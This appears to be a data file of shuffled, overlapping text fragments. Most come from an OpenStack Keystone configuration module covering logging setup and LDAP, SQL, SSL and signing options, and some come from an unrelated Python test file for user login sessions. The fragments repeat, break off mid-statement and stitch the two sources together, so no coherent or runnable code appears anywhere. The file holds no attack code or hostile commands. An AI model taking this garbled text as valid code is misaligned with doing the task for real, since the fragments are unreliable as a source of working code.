"logfile = conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else:",
"See the # License for the specific language governing permissions and limitations #",
"logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to locate specified logging ' 'config file: %s'",
"root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except",
"group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap',",
"permissions and limitations # under the License. import gettext import os import sys",
"law or agreed to in writing, software # distributed under the License is",
"raise RuntimeError('Unable to locate specified logging ' 'config file: %s' % conf.log_config) root_logger",
"return else: raise RuntimeError('Unable to locate specified logging ' 'config file: %s' %",
"handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None)",
"root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter =",
"default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole')",
"default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn')",
"express or implied. See the # License for the specific language governing permissions",
"group=group) def register_cli_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return",
"group='ssl', default=False) #signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\")",
"an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either",
"# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"CONDITIONS OF ANY KIND, either express or implied. See the # License for",
"register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options",
"group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url',",
"for the specific language governing permissions and limitations # under the License. import",
"**kw), group=group) def register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None)",
"options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity')",
"Use a logging configuration file for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else:",
"logging configuration file for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable",
"register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>')",
"# sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver',",
"group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap',",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile = conf.log_file if conf.log_dir: logfile =",
"limitations # under the License. import gettext import os import sys from keystone.common",
"register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None)",
"'config file: %s' % conf.log_config) root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose:",
"= kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw): conf = kw.pop('conf',",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam', default=None) register_str('userid', group='pam', default=None)",
"register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None)",
"**kw), group=group) def register_cli_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None)",
"2012 OpenStack LLC # # Licensed under the Apache License, Version 2.0 (the",
"compliance with the License. You may obtain # a copy of the License",
"default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap',",
"group=group) def register_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return",
"group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap',",
"default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None)",
"def register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args,",
"register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver',",
"group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url',",
"IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid",
"default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson')",
"register_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw),",
"default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile',",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in",
"conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility =",
"register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute',",
"the logging options for a log with supplied name :param conf: a cfg.ConfOpts",
"default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token')",
"group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format', group='signing', default=\"UUID\")",
"file: %s' % conf.log_config) root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO)",
"default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member')",
"return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw): conf = kw.pop('conf', CONF) group =",
"may # not use this file except in compliance with the License. You",
"register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format', group='signing',",
"either express or implied. See the # License for the specific language governing",
"CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw): conf",
"this file except in compliance with the License. You may obtain # a",
"register_cli_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw),",
"group=group) def register_cli_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return",
"%s' % conf.log_config) root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else:",
"register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing",
"default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False)",
"or implied. See the # License for the specific language governing permissions and",
"group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw): conf =",
"else: raise RuntimeError('Unable to locate specified logging ' 'config file: %s' % conf.log_config)",
"**kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group)",
"default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy')",
"conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog:",
"CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw): conf",
"License. import gettext import os import sys from keystone.common import logging from keystone.openstack.common",
"kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port',",
"on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,",
"a logging configuration file for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise",
"under the License. import gettext import os import sys from keystone.common import logging",
"return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port',",
"kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF)",
"= kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args,",
"import os import sys from keystone.common import logging from keystone.openstack.common import cfg gettext.install('keystone',",
"facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log',",
"group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap',",
"sys from keystone.common import logging from keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF =",
"def register_cli_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args,",
"conf.log_config) root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter",
"keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF def setup_logging(conf): \"\"\" Sets up",
"try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog facility')) handler =",
"default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap',",
"keystone.common import logging from keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF def",
"OR CONDITIONS OF ANY KIND, either express or implied. See the # License",
"conf.log_file: logfile = conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile)",
"obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group',",
"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may #",
"conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else: handler =",
"import gettext import os import sys from keystone.common import logging from keystone.openstack.common import",
"register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute',",
"cfg.CONF def setup_logging(conf): \"\"\" Sets up the logging options for a log with",
"#ssl options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl',",
"register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute',",
"if conf.log_config: # Use a logging configuration file for all settings... if os.path.exists(conf.log_config):",
"default=False) #signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs',",
"**kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group)",
"CONF = cfg.CONF def setup_logging(conf): \"\"\" Sets up the logging options for a",
"kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw):",
"group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy',",
"default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl', default=False)",
"settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to locate specified logging '",
"default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable',"
] |
[
"BcryptHash import pytest from src.users import Users from src.events import Events from src.stores",
"dur = timedelta(hours=1) params = {} params['password'] = 'password' password = BcryptHash('password').encrypt() user",
"MemoryStore() users = Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1)",
"session.login('') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict def test_login_user_bad_password(): store",
"in loging_dict assert loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store = MemoryStore() users =",
"Session(params, store, '') password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone',",
"= True params['register'] = 'test' session = Session(params, store, '') loging_dict = session.login('test')",
"= True params['register'] = '' session = Session(params, store, '') with pytest.raises(Exception): session.login('test')",
"store, '') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict assert 'register'",
"in loging_dict def test_login_user_bad_password(): store = MemoryStore() users = Users(store) params = {}",
"user) user.validated = True params['register'] = 'test' session = Session(params, store, '') loging_dict",
"= True with pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert loging_dict assert 'user' in",
"= {} params['password'] = 'password' password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias',",
"store = MemoryStore() users = Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur",
"user = users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') events.add('test', 'test', 30,",
"BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') events.add('test', 'test',",
"loging_dict assert 'user' in loging_dict assert 'register' in loging_dict assert loging_dict['register'] == 'test'",
"users = Users(store) params = {} params['password'] = '<PASSWORD>' session = Session(params, store,",
"assert 'user' in loging_dict assert 'register' in loging_dict assert loging_dict['register'] == 'test' def",
"dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = '' session",
"= Users(store) params = {} params['password'] = '<PASSWORD>' session = Session(params, store, '')",
"timedelta(hours=1) params = {} params['password'] = 'password' password = BcryptHash('password').encrypt() user = users.add('email',",
"pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict def test_login_user_bad_password():",
"pytest.raises(Exception): session.login('test') def test_login_user_register(): store = MemoryStore() users = Users(store) events = Events(store)",
"events.add('test', 'test', 30, start, dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated = True",
"'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = 'test' session =",
"password, 'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('test') def test_login_user_register():",
"from src.users import Users from src.events import Events from src.stores import MemoryStore from",
"'name', 'alias', password, 'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('test')",
"src.users import Users from src.events import Events from src.stores import MemoryStore from src.session",
"loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict def test_login_user_bad_password(): store =",
"def test_login_user_register(): store = MemoryStore() users = Users(store) events = Events(store) start =",
"src.stores import MemoryStore from src.session import Session def test_login_user(): store = MemoryStore() users",
"assert loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store = MemoryStore() users = Users(store) events",
"= {} params['password'] = 'password' session = Session(params, store, '') password = BcryptHash('password').encrypt()",
"= users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') user.validated = True with",
"= BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') events.add('test',",
"= {} params['password'] = '<PASSWORD>' session = Session(params, store, '') password = BcryptHash('password').encrypt()",
"'name', 'alias', password, 'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('')",
"True with pytest.raises(Exception): session.login('test') def test_login_user_register(): store = MemoryStore() users = Users(store) events",
"Session(params, store, '') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict assert",
"loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict assert 'register' in loging_dict",
"Users from src.events import Events from src.stores import MemoryStore from src.session import Session",
"start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params = {} params['password'] = 'password' password",
"start, dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = ''",
"import datetime, timedelta import pytz from bcrypt_hash import BcryptHash import pytest from src.users",
"test_login_user(): store = MemoryStore() users = Users(store) params = {} params['password'] = 'password'",
"import Events from src.stores import MemoryStore from src.session import Session def test_login_user(): store",
"{} params['password'] = 'password' password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password,",
"session.login('test') def test_login_user_register(): store = MemoryStore() users = Users(store) events = Events(store) start",
"MemoryStore() users = Users(store) params = {} params['password'] = 'password' session = Session(params,",
"src.session import Session def test_login_user(): store = MemoryStore() users = Users(store) params =",
"= Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params =",
"def test_login_user_bad_password(): store = MemoryStore() users = Users(store) params = {} params['password'] =",
"'<EMAIL>', 'test', user) user.validated = True params['register'] = 'test' session = Session(params, store,",
"loging_dict def test_login_user_bad_password(): store = MemoryStore() users = Users(store) params = {} params['password']",
"= session.login('test') assert loging_dict assert 'user' in loging_dict assert 'register' in loging_dict assert",
"password, 'phone', True, True, user_id='test') events.add('test', 'test', 30, start, dur, 'test', 'test', '<EMAIL>',",
"start, dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = 'test'",
"store, '') password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True,",
"= Session(params, store, '') password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password,",
"datetime, timedelta import pytz from bcrypt_hash import BcryptHash import pytest from src.users import",
"user.validated = True params['register'] = '' session = Session(params, store, '') with pytest.raises(Exception):",
"def test_login_user_register_bad_event(): store = MemoryStore() users = Users(store) events = Events(store) start =",
"= Users(store) params = {} params['password'] = 'password' session = Session(params, store, '')",
"user.validated = True with pytest.raises(Exception): session.login('test') def test_login_user_register(): store = MemoryStore() users =",
"= MemoryStore() users = Users(store) params = {} params['password'] = 'password' session =",
"session.login('test') assert loging_dict assert 'user' in loging_dict def test_login_user_bad_password(): store = MemoryStore() users",
"test_login_user_register_bad_event(): store = MemoryStore() users = Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\"))",
"Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params = {}",
"users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception):",
"'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('') loging_dict = session.login('test')",
"True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert",
"'test', user) user.validated = True params['register'] = 'test' session = Session(params, store, '')",
"user = users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') user.validated = True",
"True, user_id='test') events.add('test', 'test', 30, start, dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated",
"{} params['password'] = 'password' session = Session(params, store, '') password = BcryptHash('password').encrypt() user",
"True with pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict",
"session = Session(params, store, '') password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias',",
"'phone', True, True, user_id='test') events.add('test', 'test', 30, start, dur, 'test', 'test', '<EMAIL>', 'test',",
"'test', user) user.validated = True params['register'] = '' session = Session(params, store, '')",
"'<EMAIL>', 'test', user) user.validated = True params['register'] = '' session = Session(params, store,",
"Users(store) params = {} params['password'] = 'password' session = Session(params, store, '') password",
"assert loging_dict assert 'user' in loging_dict def test_login_user_bad_password(): store = MemoryStore() users =",
"import Users from src.events import Events from src.stores import MemoryStore from src.session import",
"True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('test') def test_login_user_register(): store = MemoryStore()",
"store = MemoryStore() users = Users(store) params = {} params['password'] = '<PASSWORD>' session",
"= MemoryStore() users = Users(store) params = {} params['password'] = '<PASSWORD>' session =",
"= datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params = {} params['password'] = 'password' password =",
"Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params = {} params['password'] = 'password'",
"= 'password' session = Session(params, store, '') password = BcryptHash('password').encrypt() user = users.add('email',",
"users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') events.add('test', 'test', 30, start, dur,",
"'') password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True, True,",
"params['password'] = 'password' session = Session(params, store, '') password = BcryptHash('password').encrypt() user =",
"= BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') user.validated",
"= MemoryStore() users = Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur =",
"params = {} params['password'] = 'password' password = BcryptHash('password').encrypt() user = users.add('email', 'name',",
"'test' def test_login_user_register_bad_event(): store = MemoryStore() users = Users(store) events = Events(store) start",
"import pytest from src.users import Users from src.events import Events from src.stores import",
"'password' session = Session(params, store, '') password = BcryptHash('password').encrypt() user = users.add('email', 'name',",
"from src.events import Events from src.stores import MemoryStore from src.session import Session def",
"user_id='test') user.validated = True with pytest.raises(Exception): session.login('test') def test_login_user_register(): store = MemoryStore() users",
"users = Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params",
"Users(store) params = {} params['password'] = '<PASSWORD>' session = Session(params, store, '') password",
"import MemoryStore from src.session import Session def test_login_user(): store = MemoryStore() users =",
"= True with pytest.raises(Exception): session.login('test') def test_login_user_register(): store = MemoryStore() users = Users(store)",
"'user' in loging_dict def test_login_user_bad_password(): store = MemoryStore() users = Users(store) params =",
"= Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params = {} params['password'] =",
"user_id='test') events.add('test', 'test', 30, start, dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated =",
"'alias', password, 'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('') loging_dict",
"{} params['password'] = '<PASSWORD>' session = Session(params, store, '') password = BcryptHash('password').encrypt() user",
"import pytz from bcrypt_hash import BcryptHash import pytest from src.users import Users from",
"params['password'] = '<PASSWORD>' session = Session(params, store, '') password = BcryptHash('password').encrypt() user =",
"params['password'] = 'password' password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone',",
"== 'test' def test_login_user_register_bad_event(): store = MemoryStore() users = Users(store) events = Events(store)",
"events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params = {} params['password']",
"session = Session(params, store, '') loging_dict = session.login('test') assert loging_dict assert 'user' in",
"from src.session import Session def test_login_user(): store = MemoryStore() users = Users(store) params",
"True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('test') def test_login_user_register(): store =",
"= 'test' session = Session(params, store, '') loging_dict = session.login('test') assert loging_dict assert",
"user.validated = True with pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert loging_dict assert 'user'",
"True, True, user_id='test') events.add('test', 'test', 30, start, dur, 'test', 'test', '<EMAIL>', 'test', user)",
"= timedelta(hours=1) params = {} params['password'] = 'password' password = BcryptHash('password').encrypt() user =",
"assert 'register' in loging_dict assert loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store = MemoryStore()",
"BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') user.validated =",
"= Session(params, store, '') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict",
"password, 'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('') loging_dict =",
"datetime import datetime, timedelta import pytz from bcrypt_hash import BcryptHash import pytest from",
"timedelta import pytz from bcrypt_hash import BcryptHash import pytest from src.users import Users",
"loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store = MemoryStore() users = Users(store) events =",
"password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test')",
"def test_login_user(): store = MemoryStore() users = Users(store) params = {} params['password'] =",
"'test' session = Session(params, store, '') loging_dict = session.login('test') assert loging_dict assert 'user'",
"loging_dict assert 'register' in loging_dict assert loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store =",
"Session def test_login_user(): store = MemoryStore() users = Users(store) params = {} params['password']",
"src.events import Events from src.stores import MemoryStore from src.session import Session def test_login_user():",
"import Session def test_login_user(): store = MemoryStore() users = Users(store) params = {}",
"from src.stores import MemoryStore from src.session import Session def test_login_user(): store = MemoryStore()",
"'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('test') def test_login_user_register(): store",
"'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = '' session =",
"in loging_dict assert 'register' in loging_dict assert loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store",
"'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = 'test' session = Session(params,",
"assert loging_dict assert 'user' in loging_dict assert 'register' in loging_dict assert loging_dict['register'] ==",
"Events from src.stores import MemoryStore from src.session import Session def test_login_user(): store =",
